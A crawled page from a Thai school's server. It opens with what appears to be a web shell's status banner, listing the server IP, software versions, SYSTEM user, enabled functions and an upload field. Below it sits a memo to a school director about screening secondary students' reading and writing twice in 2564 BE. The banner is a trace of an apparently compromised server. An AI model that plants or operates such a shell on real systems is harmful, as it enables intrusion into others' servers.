| Server IP : 104.21.80.248 / Your IP : 172.71.28.155 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myschool/suanphung/data/tkk2text/ |
Upload File : |
<p>เรียน ผู้อำนวยการโรงเรียนสวนผึ้งวิทยา</p> <p> <span style="font-family: "TH SarabunPSK", sans-serif; font-size: 20pt;">ตามที่ สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ขอความร่วมมือให้สำนักงานเขตพื้นที่การศึกษาและสถานศึกษาพิจารณาการดำเนินงานพัฒนาและส่งเสริมการพัฒนาการเรียนการสอนภาษาไทยให้นักเรียนอ่านออกเขียนได้อย่างมีประสิทธิภาพ โดยให้สถานศึกษาได้ดำเนินการพัฒนาการอ่านและการเขียนของ นักเรียนโดยใช้เครื่องมือที่กำหนดให้ ดังนี้ </span><span style="font-family: "TH SarabunPSK", sans-serif; font-size: 20pt;"> </span></p> <p class="MsoNormal"><span lang="TH" style="font-size:20.0pt;line-height:115%; font-family:"TH SarabunPSK","sans-serif""> ๑. กำหนดคัดกรอง จำนวน ๒ ครั้ง คือ ภาคเรียนที่ ๑ คัดกรองและรายงานผลในวันที่ ๒๕ สิงหาคม ๒๕๖๔ และภาคเรียนที่ ๒ คัดกรองและรายงานผลในวันที่ ๒๕ ธันวาคม ๒๕๖๔ </span><span style="font-size:20.0pt;line-height:115%;font-family:"TH SarabunPSK","sans-serif""><o:p></o:p></span></p> <p class="MsoNormal"><span lang="TH" style="font-size:20.0pt;line-height:115%; font-family:"TH SarabunPSK","sans-serif""> ๒. คัดกรองความสามารถในการอ่านการเขียนของนักเรียนชั้นมัธยมศึกษาปีที่ ๑-๖ และรายงานผล และจัดส่งรายงานผลการคัดกรองทั้ง ๒ ครั้ง ใน ระบบ </span><span style="font-size:20.0pt;line-height:115%;font-family:"TH SarabunPSK","sans-serif"">My office <span lang="TH">และ </span>e- mail : [email protected] <span lang="TH">ภายในเวลาที่กำหนดตามข้อ ๑</span><o:p></o:p></span></p> <p><span style="font-family: "TH SarabunPSK", sans-serif; font-size: 20pt;"> </span><span lang="TH" style="font-family: "TH SarabunPSK", sans-serif; font-size: 20pt;">จึงเรียนมาเพื่อทราบและดำเนินการ</span></p>